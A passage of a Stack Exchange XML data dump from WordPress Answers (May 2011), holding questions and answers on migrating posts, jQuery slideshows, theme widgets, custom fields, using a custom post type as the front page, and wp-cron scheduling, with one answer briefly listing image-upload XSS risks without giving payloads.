  <row Id="17992" PostTypeId="1" CreationDate="2011-05-23T09:23:11.323" Score="0" ViewCount="60" Body="&lt;p&gt;I have a blog in the subdirectory.  Last year I installed a new blog in the root basically about the same thing.  I like to be able to transfer all my old posts from the blog in the sub directory to the root so I can close down the sub one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="5543" LastActivityDate="2011-05-23T09:26:43.473" Title="move blog posts from one wordpress to another" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="17993" PostTypeId="2" ParentId="17992" CreationDate="2011-05-23T09:26:43.473" Score="1" ViewCount="" Body="&lt;p&gt;It depends on your exact situation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If there's nothing in your new blog you can just point your new WP install at your old database (see questions on migrating)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is content in your new WP instance and what you're wanting to do is merge content, then do an export from the old site, and an import into the new.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do some searching here - there are a &lt;em&gt;ton&lt;/em&gt; of questions about how to move domains / blogs / content.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-23T09:26:43.473" />
  <row Id="17994" PostTypeId="1" CreationDate="2011-05-23T09:27:32.580" Score="0" ViewCount="107" Body="&lt;p&gt;I'm trying to add a java script slide show to my wordpress home page. In my theme folder I have a js folder and then in that I have jquery.cross-slide.min.js and jquery.min.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have and what I'm pasting into my post area&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;js/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;js/jquery.cross-slide.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;function() {&#xA;crossSlide({&#xA;sleep: 3,&#xA;fade: 1&#xA;}, [&#xA;{ src: 'images/slideshows/block1.jpg' },&#xA;{ src: 'images/slideshows/block2.jpg' },&#xA;{ src: 'images/slideshows/block3.jpg' }&#xA;])&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I paste this into a wordpress page throught the html editor it doesn't work. Please could you check for errors and advice.&lt;/p&gt;&#xA;" OwnerUserId="5595" LastActivityDate="2011-06-27T00:17:53.843" Title="Help with Javascript in wordpress" Tags="&lt;javascript&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="17995" PostTypeId="1" AcceptedAnswerId="18002" CreationDate="2011-05-23T09:34:18.330" Score="0" ViewCount="75" Body="&lt;p&gt;I am developing a installable theme in wordpress I have created a contact form and called that form in footer but I want to create a widget that should be theme based mean i dont want any plugin.I can create a widget but for this i need to put the file in plugin folder that I don't want that should be completely theme based . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this because if I want to change the position of contact form like from footer to sidebar so for this I need to make this contact form widget that can be drag and drop in footer and sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched this also on Internet but all are based on plugin directory so that Its not my requirement because it will activate whenever plugin will be activate  but I need widget should activate whenever theme will be activate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide me help or your suggestion&#xA;I shall be very thankful to you &#xA;Thanks   &lt;/p&gt;&#xA;" OwnerUserId="5596" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-23T11:39:51.663" LastActivityDate="2011-05-23T11:39:51.663" Title="how to create theme based widget that can be drop in sider bar or footer" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17996" PostTypeId="2" ParentId="17977" CreationDate="2011-05-23T09:41:12.133" Score="2" ViewCount="" Body="&lt;p&gt;Many evil things can be done by including an image. The question is how well WordPress filters them. To give you an idea:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ha.ckers.org/blog/20070603/image-upload-xss/&quot; rel=&quot;nofollow&quot;&gt;File names should be checked&#xA;properly.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.databasesandlife.com/xss-attack-images/&quot; rel=&quot;nofollow&quot;&gt;The actual image data can contain&#xA;javascript.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.aloshbennett.in/weblog/2010/web-2-0/cross-site-scripting-through-image-exif/&quot; rel=&quot;nofollow&quot;&gt;Also, EXIF data could contain&#xA;javascript.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-23T09:41:12.133" CommentCount="1" />
  <row Id="17997" PostTypeId="2" ParentId="17994" CreationDate="2011-05-23T09:48:44.167" Score="0" ViewCount="" Body="&lt;p&gt;@michael - hi,&#xA;you just forgot to connect this function to an element as you do in jQuery &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('#crossslide').crossSlide(&#xA;   //code&#xA;  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you may read &lt;a href=&quot;http://www.hashbangcode.com/blog/crossslide-jquery-plugin-test-348.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for help &lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2011-05-23T09:48:44.167" />
  <row Id="17999" PostTypeId="1" CreationDate="2011-05-23T10:28:30.980" Score="1" ViewCount="211" Body="&lt;p&gt;i need help with wordpress custom fields currently i store date in one custom field called audio using the &quot;,&quot; and &quot;$&quot; example:&#xA;name, link $ name, link $ etc&#xA;i have managed to use the data and split the data using php in my theme i.e the playlist.&#xA;i just need help in creating a custom metabox with 2 text fields that can be duplicated by clicking on adding more and two more fields would show. i only want to use only one custom field to store the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;/p&gt;&#xA;" OwnerUserId="5599" LastActivityDate="2011-05-23T12:04:54.503" Title="wordpress custom fields multiple data" Tags="&lt;3.0&gt;&lt;php&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18001" PostTypeId="2" ParentId="17999" CreationDate="2011-05-23T10:50:02.897" Score="1" ViewCount="" Body="&lt;p&gt;You can store an array in a custom field; WordPress serializes it for you on save and unserializes it on get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name your fields with a pseudo array syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;mycustomfield[audio]&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;mycustomfield[date]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You’ll get a &lt;code&gt;$_POST&lt;/code&gt; array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mycustomfield = array ( 'audio' =&amp;gt; 'somevalue', 'date' =&amp;gt; 'somedate' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can do whatever you want with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drawback: Meta queries against serialized arrays are hard. Multiple post meta field are much easier to handle.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T10:50:02.897" />
  <row Id="18002" PostTypeId="2" ParentId="17995" CreationDate="2011-05-23T10:54:58.460" Score="3" ViewCount="" Body="&lt;p&gt;A contact form is pure plugin stuff. It has to survive a theme switch. Put it into a plugin and prepare your stylesheet for the common possible positions.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T10:54:58.460" CommentCount="9" />
  <row Id="18004" PostTypeId="2" ParentId="17946" CreationDate="2011-05-23T12:14:33.073" Score="0" ViewCount="" Body="&lt;p&gt;Send a 410 status header for those resources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess or httpd.config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# adjust the query string to your URIs&#xA;RewriteCond %{QUERY_STRING} ^translated&#xA;RewriteRule ^ - [L,R=410]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T12:14:33.073" />
  <row Id="18005" PostTypeId="2" ParentId="17949" CreationDate="2011-05-23T12:30:47.813" Score="1" ViewCount="" Body="&lt;p&gt;I’m not sure what plus sign you mean. Could you add a screen shot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding item to a menu needs &lt;strong&gt;two action&lt;/strong&gt;: 1. Mark the checkbox, 2. Click &lt;em&gt;Add to Menu&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WPdk3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/WPdk3.png&quot; rel=&quot;nofollow&quot;&gt;View full size&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have trouble on the widget page, try to activate the accessibility mode available in the screen options.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T12:30:47.813" CommentCount="5" />
  <row Id="18006" PostTypeId="1" AcceptedAnswerId="18023" CreationDate="2011-05-23T13:13:28.763" Score="1" ViewCount="37" Body="&lt;p&gt;I was wondering that if you do an AJAX call on an admin page and I wanted to see if the user had the capability to edit a page, would that info be sent along the call or do I need to manually sent that data?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-05-23T16:21:10.153" Title="Does an AJAX call on the Admin Side Automatically include the User Data/Capabilities?" Tags="&lt;users&gt;&lt;ajax&gt;&lt;capabilities&gt;" AnswerCount="1" />
  <row Id="18007" PostTypeId="1" CreationDate="2011-05-23T13:38:58.230" Score="3" ViewCount="101" Body="&lt;p&gt;I'm looking to modify my theme so that only tags that have been used more than once show up on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my logic, feel free to fault any (and all) of it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is no point in only using tags once. All the tag will do is link to a tag archive with one post.&lt;/li&gt;&#xA;&lt;li&gt;However, I'd still like to tag my first post about unicorns with &lt;code&gt;unicorn&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;That way, when I post about unicorns for the second time, the tag will suddenly appear on both posts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know a bit about WordPress and how it works, but not enough to do this. Should it be a plugin? Is there a function option/parameter/thing I've missed that does this? I seem to remember a database field that counts the number of times a tag is used, how does that help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5602" LastActivityDate="2011-05-23T13:51:09.100" Title="How do I hide tags that have only been used once?" Tags="&lt;theme-development&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="18008" PostTypeId="1" CreationDate="2011-05-23T13:43:36.753" Score="3" ViewCount="92" Body="&lt;p&gt;I want to have a FAQ page on my site which has a search box. As the user types in their question, a field below the search box is populated with FAQ answers with similar titles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact same functionality as the StackExchange 'Questions with similar titles' feature:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Questions with similar titles&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4 Open Source Forum for wordpress&#xA;  similar to stackexchange or&#xA;  stackoverflow (1)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;0 How to implement a WordPress&#xA;  comments function? (2)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-27T20:04:36.713" Title="How would implement StackExchange 'Questions with similar titles' for the FAQ on my wordpress site" Tags="&lt;plugins&gt;&lt;search&gt;&lt;autocomplete&gt;&lt;faq&gt;&lt;caching&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18009" PostTypeId="1" CreationDate="2011-05-23T13:48:28.030" Score="0" ViewCount="78" Body="&lt;p&gt;I have a WP site wp.domain.com, and want to make each category a subsite. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EG, foo.wp.domain.com would be a WP site that lists only posts in &#xA;category 'foo', the search limits itself to category 'foo', the &#xA;archives/etc are limited to 'foo'. There are no category archives &#xA;unless foo has subcatgories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this? &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-05-23T14:05:24.603" Title="How to make each category a subsite?" Tags="&lt;subdomains&gt;" AnswerCount="1" />
  <row Id="18010" PostTypeId="2" ParentId="18007" CreationDate="2011-05-23T13:51:09.100" Score="1" ViewCount="" Body="&lt;p&gt;The filter &lt;code&gt;term_links-post_tag&lt;/code&gt; passes …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'&amp;lt;a href=&quot;' . $link . '&quot; rel=&quot;tag&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… as its only argument. You could extract the term name, count the associated posts and return an empty string if there is only one post. &lt;code&gt;the_tags()&lt;/code&gt; will not print it then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very hackish, maybe someone else will find a better solution.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T13:51:09.100" />
  <row Id="18011" PostTypeId="1" CreationDate="2011-05-23T13:52:50.780" Score="2" ViewCount="130" Body="&lt;p&gt;How do I let users exclude/include specific categories, so that &#xA;everything (archives, search, etc) is limited to those categories? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen admin-side plugins that let &lt;em&gt;me&lt;/em&gt; limit what others see, but &#xA;not ones that let users choose what categories to see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, this would even work for unregistered users. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-05-23T15:48:44.633" Title="Allow users to exclude categories? (WP 3.1.2)" Tags="&lt;filters&gt;" AnswerCount="2" />
  <row Id="18012" PostTypeId="2" ParentId="18009" CreationDate="2011-05-23T13:59:24.933" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;You have got templates for this purpose:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category-{slug}.php&lt;/code&gt; -&gt; &lt;code&gt;category-{id}.php&lt;/code&gt; -&gt; &lt;code&gt;category.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then link your subdomains to the different templates.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-23T14:05:24.603" LastActivityDate="2011-05-23T14:05:24.603" />
  <row Id="18013" PostTypeId="1" AcceptedAnswerId="18070" CreationDate="2011-05-23T14:05:01.517" Score="3" ViewCount="243" Body="&lt;p&gt;I have a client who's site will be making heavy use of custom post types to configure their site.  But I'm between a rock and a hard place for their requested home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality, the home page will be a stack of specific &quot;pages&quot; within WordPress.  Basically, there will be pages for: &lt;strong&gt;Intro&lt;/strong&gt;, &lt;strong&gt;Blog&lt;/strong&gt;, &lt;strong&gt;About Us&lt;/strong&gt;, &lt;strong&gt;Portfolio&lt;/strong&gt;, and &lt;strong&gt;Contact Us&lt;/strong&gt;.  They'll all be stacked on top of one another so you can scroll from one page to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first instinct was to just use a page (called &lt;strong&gt;Home&lt;/strong&gt;) and embed a shortcode that accepts page slugs and outputs the proper order (i.e. &lt;code&gt;[pageOrder]intro, blog, about-us, portfolio, contact-us[/pageOrder]&lt;/code&gt;).  The page would use a custom page template to lay things out, control the loop, and add navigation to the left side of the page.  But that all seems klunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;em&gt;ideal&lt;/em&gt; solution would be to create a custom post type (called &lt;strong&gt;Stack&lt;/strong&gt;) that allows the end user to position the pages with drag-drop and have the CPT take care of layout and navigation and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with my ideal solution is settings.  WordPress allows you to select a page for the default home page of the site.  But it's tied to a post type of &lt;strong&gt;page&lt;/strong&gt;, and I'm not sure where to hook in to modify that so that users could also select a &lt;strong&gt;Stack&lt;/strong&gt; as the default home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, where do I hook in to in order to add a CPT to the dropdown of available pages for the default home page?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-09-05T07:07:22.417" Title="How do you use a CPT as the default home page?" Tags="&lt;custom-post-types&gt;&lt;hooks&gt;&lt;homepage&gt;&lt;default&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="18014" PostTypeId="2" ParentId="18011" CreationDate="2011-05-23T14:16:38.333" Score="1" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://scribu.net/wordpress/query-multiple-taxonomies&quot; rel=&quot;nofollow&quot;&gt;plugin Taxonomy Drill-Down&lt;/a&gt; from &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;@scribu&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T14:16:38.333" />
  <row Id="18015" PostTypeId="2" ParentId="18013" CreationDate="2011-05-23T14:21:56.300" Score="3" ViewCount="" Body="&lt;p&gt;Maybe so? Refined version of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3927/how-to-add-a-post-from-a-custom-post-type-as-the-static-page/3929#3929&quot;&gt;my earlier solution&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_dropdown_pages', 'add_cpt_to_front_page_dropdown', 10, 1 );&#xA;&#xA;&#xA;/**&#xA; * Adds CPTs to the list of available pages for a static front page.&#xA; *&#xA; * @param  string $select Existing select list.&#xA; * @return string&#xA; */&#xA;function add_cpt_to_front_page_dropdown( $select )&#xA;{&#xA;    if ( FALSE === strpos( $select, '&amp;lt;select name=&quot;page_on_front&quot;' ) )&#xA;    {&#xA;        return $select;&#xA;    }&#xA;&#xA;    $cpt_posts = get_posts(&#xA;        array(&#xA;            'post_type'      =&amp;gt; 'YOUR_POST_TYPE'&#xA;        ,   'nopaging'       =&amp;gt; TRUE&#xA;        ,   'numberposts'    =&amp;gt; -1&#xA;        ,   'order'          =&amp;gt; 'ASC'&#xA;        ,   'orderby'        =&amp;gt; 'title'&#xA;        ,   'posts_per_page' =&amp;gt; -1&#xA;        )&#xA;    );&#xA;&#xA;    if ( ! $cpt_posts ) // no posts found.&#xA;    {&#xA;        return $select;&#xA;    }&#xA;&#xA;    $current = get_option( 'page_on_front', 0 );&#xA;&#xA;    $options = walk_page_dropdown_tree(&#xA;        $cpt_posts&#xA;    ,   0&#xA;    ,    array(&#xA;            'depth'                 =&amp;gt; 0&#xA;         ,  'child_of'              =&amp;gt; 0&#xA;         ,  'selected'              =&amp;gt; $current&#xA;         ,  'echo'                  =&amp;gt; 0&#xA;         ,  'name'                  =&amp;gt; 'page_on_front'&#xA;         ,  'id'                    =&amp;gt; ''&#xA;         ,  'show_option_none'      =&amp;gt; ''&#xA;         ,  'show_option_no_change' =&amp;gt; ''&#xA;         ,  'option_none_value'     =&amp;gt; ''&#xA;        )&#xA;    );&#xA;&#xA;    return str_replace( '&amp;lt;/select&amp;gt;', $options . '&amp;lt;/select&amp;gt;', $select );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T14:21:56.300" CommentCount="3" />
  <row Id="18016" PostTypeId="2" ParentId="18013" CreationDate="2011-05-23T15:12:54.677" Score="1" ViewCount="" Body="&lt;p&gt;Why not just create a &lt;code&gt;front-page.php&lt;/code&gt; template file, that uses either a normal query/Loop, or (if a custom Theme option is set to display the CPT on the Front Page), outputs a custom query/Loop, based on the CPT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue there is that you would have to create a separate Theme option to control the Front Page output, while at the same time instructing users to set Front Page to static page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things easier, you could hook your Theme option into settings-reading, using the &quot;Reading&quot; option group in your call to &lt;code&gt;register_setting&lt;/code&gt; via the Settings API, so that it displays with the existing Front-Page options.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-23T15:12:54.677" />
  <row Id="18017" PostTypeId="1" AcceptedAnswerId="18048" CreationDate="2011-05-23T15:35:48.173" Score="1" ViewCount="71" Body="&lt;p&gt;I have declared a scheduled event in a plugin like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function shedule_email_alerts() {&#xA;    if ( !wp_next_scheduled( 'send_email_alerts_hook' ) ) {&#xA;        wp_schedule_event(time(), 'hourly', 'send_email_alerts_hook');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then i wanted to change the frequency to 'daily', by doing so, replacing the original function with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function shedule_email_alerts() {&#xA;    if ( !wp_next_scheduled( 'send_email_alerts_hook' ) ) {&#xA;        wp_schedule_event(time(), 'daily', 'send_email_alerts_hook');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems that my event is still fired every hour. I use the &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core control plugin&lt;/a&gt; to monitor CRON tasks and it still shows as 'once per hour'&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-27T14:26:25.027" LastActivityDate="2011-05-27T14:26:25.027" Title="How can I change the frequency of a scheduled event?" Tags="&lt;plugin-development&gt;&lt;functions&gt;&lt;wp-cron&gt;&lt;wpse-plugin&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="18018" PostTypeId="2" ParentId="18011" CreationDate="2011-05-23T15:48:44.633" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/my-category-excluder/&quot; rel=&quot;nofollow&quot;&gt;My Category Excluder&lt;/a&gt; plugin allows users to specify which categories they want excluded, it also allows the blog admin to specify which categories users can choose to exclude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't provide this functionality for non-registered users, so you will have to modify it to suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-23T15:48:44.633" />
  <row Id="18019" PostTypeId="2" ParentId="17989" CreationDate="2011-05-23T15:55:05.907" Score="1" ViewCount="" Body="&lt;p&gt;There's a few ways that I can think of&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find a plugin that is compatible with that shortcode format&lt;/li&gt;&#xA;&lt;li&gt;Write your own plugin that uses the existing shortcode format from WordPress.com (which I don't think the &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Shortcode API&lt;/a&gt; even allows)&lt;/li&gt;&#xA;&lt;li&gt;Strip out the short code and leave the URL. WordPress will handle the embedding automatically: &lt;a href=&quot;http://codex.wordpress.org/Embeds&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Embeds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-23T15:55:05.907" />
  <row Id="18020" PostTypeId="1" AcceptedAnswerId="18027" CreationDate="2011-05-23T15:10:37.097" Score="3" ViewCount="90" Body="&lt;p&gt;I am trying to code in more consistent manner and would like to know what is the difference between WP: template_directory vs TEMPLATEPATH. &lt;/p&gt;&#xA;" OwnerUserId="5491" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-24T00:59:11.360" LastActivityDate="2011-05-24T00:59:11.360" Title="What is the difference between WP: template_directory vs TEMPLATEPATH" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="18021" PostTypeId="1" AcceptedAnswerId="18022" CreationDate="2011-05-23T16:14:01.693" Score="0" ViewCount="59" Body="&lt;p&gt;I have several sub-categories set up. Everything displays properly as far as nesting (see below) when creating a new post.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Category 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--Sub Category 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--Sub Category 2&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--Sub Category 3&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Category 2&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;etc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After I select a sub-category, then go back and edit a post, the sub category that I check shows up like this (note how it's not nested under Category 1):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(checkmark) Sub Category 2&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Category 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--Sub Category 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--Sub Category 3&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Category 2&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;etc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this a bug in WordPress 3.1.2? Can someone tell me how to fix it? I don't remember it doing this when I was running 3.0.5 (but there's a chance it could have).&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-05-23T16:18:50.827" Title="Why aren't sub-categories nested after creating post in the WP Admin?" Tags="&lt;categories&gt;&lt;wp-admin&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="18022" PostTypeId="2" ParentId="18021" CreationDate="2011-05-23T16:18:50.827" Score="3" ViewCount="" Body="&lt;p&gt;This &quot;feature&quot; has been in WP for quite a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable it by installing this small plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/category-checklist-tree/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/category-checklist-tree/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-23T16:18:50.827" CommentCount="1" />
  <row Id="18023" PostTypeId="2" ParentId="18006" CreationDate="2011-05-23T16:21:10.153" Score="1" ViewCount="" Body="&lt;p&gt;You don't need to send any additional data, since the user cookies (which are used for authentication) will be sent by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have access to all the WP functions, including current_user_can().&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-23T16:21:10.153" />
  <row Id="18024" PostTypeId="1" CreationDate="2011-05-23T16:23:28.640" Score="1" ViewCount="323" Body="&lt;p&gt;I need a wordpress plugin that will allow me to add people to a database (from the backend) and then display the database contents in a page. Been looking for something like that everywhere, but I don't really know what's it called, so couldn't really find any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone know of any, please let me know..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="5609" LastActivityDate="2011-05-23T17:05:53.430" Title="Wordpress plugin to insert and display data" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="2" />
  <row Id="18025" PostTypeId="2" ParentId="18024" CreationDate="2011-05-23T16:59:11.727" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://podscms.org&quot; rel=&quot;nofollow&quot;&gt;Pods&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-23T16:59:11.727" />
  <row Id="18026" PostTypeId="2" ParentId="18024" CreationDate="2011-05-23T16:59:56.993" Score="0" ViewCount="" Body="&lt;p&gt;You could use a directory plugin, like one of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/officers-directory/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/officers-directory/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/business-directory/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/business-directory/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even if you're not saving data on &quot;officers&quot; or &quot;businesses&quot;, it's essentially the same thing, and you can probably tweak the output to make it look appropriate for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to create a &lt;a href=&quot;http://codex.wordpress.org/custom_post_type#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type&lt;/a&gt;. You can either create 